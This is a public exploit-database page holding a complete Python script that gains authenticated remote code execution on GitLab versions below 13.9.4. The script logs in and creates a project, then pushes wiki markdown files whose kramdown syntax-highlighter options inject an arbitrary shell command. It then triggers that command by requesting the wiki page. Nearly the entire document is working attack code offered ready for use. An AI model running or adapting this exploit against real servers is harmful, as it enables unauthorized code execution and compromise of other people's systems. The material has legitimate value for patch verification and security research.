Share
## https://sploitus.com/exploit?id=PACKETSTORM:162950
# Exploit Title: Gitlab 13.9.3 - Remote Code Execution (Authenticated)  
# Date: 02/06/2021  
# Exploit Author: enox  
# Vendor Homepage: https://about.gitlab.com/  
# Software Link: https://gitlab.com/  
# Version: < 13.9.4  
# Tested On: Ubuntu 20.04  
# Environment: Gitlab 13.9.1 CE  
# Credits: https://hackerone.com/reports/1125425  
  
#!/usr/bin/python3  
  
import requests  
from bs4 import BeautifulSoup  
import random  
import os  
import argparse  
  
parser = argparse.ArgumentParser(description='GitLab < 13.9.4 RCE')  
parser.add_argument('-u', help='Username', required=True)  
parser.add_argument('-p', help='Password', required=True)  
parser.add_argument('-c', help='Command', required=True)  
parser.add_argument('-t', help='URL (Eg: http://gitlab.example.com)', required=True)  
args = parser.parse_args()  
  
username = args.u  
password = args.p  
gitlab_url = args.t  
command = args.c  
  
session = requests.Session()  
  
# Authenticating  
print("[1] Authenticating")  
r = session.get(gitlab_url + "/users/sign_in")  
soup = BeautifulSoup(r.text, features="lxml")  
token = soup.findAll('meta')[16].get("content")  
  
login_form = {  
"authenticity_token": token,  
"user[login]": username,  
"user[password]": password,  
"user[remember_me]": "0"  
}  
r = session.post(f"{gitlab_url}/users/sign_in", data=login_form)  
  
if r.status_code != 200:  
exit(f"Login Failed:{r.text}")  
else:  
print("Successfully Authenticated")  
  
# Creating Project  
print("[2] Creating Project")  
r = session.get(f"{gitlab_url}/projects/new")  
soup = BeautifulSoup(r.text, features="lxml")  
  
project_token = soup.findAll('meta')[16].get("content")  
project_token = project_token.replace("==", "%3D%3D")  
project_token = project_token.replace("+", "%2B")  
project_name = f'project{random.randrange(1, 10000)}'  
cookies = {'sidebar_collapsed': 'false','event_filter': 'all','hide_auto_devops_implicitly_enabled_banner_1': 'false','_gitlab_session': session.cookies['_gitlab_session'],}  
  
payload=f"utf8=%E2%9C%93&authenticity_token={project_token}&project%5Bci_cd_only%5D=false&project%5Bname%5D={project_name}&project%5Bpath%5D={project_name}&project%5Bdescription%5D=&project%5Bvisibility_level%5D=20"  
  
r = session.post(gitlab_url+'/projects', data=payload, cookies=cookies, verify=False)  
  
if "The change you requested was rejected." in r.text:  
exit('Exploit failed, check input params')  
else:  
print("Successfully created project")  
  
  
# Cloning Wiki and Writing Files  
print("[3] Pushing files to the project wiki")  
wiki_url = f'{gitlab_url}/{username}/{project_name}.wiki.git'  
os.system(f"git clone {wiki_url} /tmp/project")  
  
f1 = open("/tmp/project/load1.rmd","w")  
f1.write('{::options syntax_highlighter="rouge" syntax_highlighter_opts="{formatter: Redis, driver: ../get_process_mem\}" /}\n\n')  
f1.write('~~~ ruby\n')  
f1.write(' def what?\n')  
f1.write(' 42\n')  
f1.write(' end\n')  
f1.write('~~~\n')  
f1.close()  
  
f2 = open("/tmp/project/load2.rmd","w")  
temp='{::options syntax_highlighter="rouge" syntax_highlighter_opts="{a: \'`'+command+'`\', formatter: GetProcessMem\}" /}\n\n'  
f2.write(temp)  
f2.write('~~~ ruby\n')  
f2.write(' def what?\n')  
f2.write(' 42\n')  
f2.write(' end\n')  
f2.write('~~~\n')  
f2.close()  
  
# It will prompt for user and pass. Enter it.  
os.system('cd /tmp/project && git add -A . && git commit -m "Commit69" && git push')  
  
print("Succesfully Pushed")  
  
# Cleaning Up  
os.system('rm -rf /tmp/project')  
  
# Triggering RCE  
  
print("[4] Triggering RCE")  
trigger_url=f"{gitlab_url}/{username}/{project_name}/-/wikis/load2"  
  
r = session.get(trigger_url, cookies=cookies, verify=False)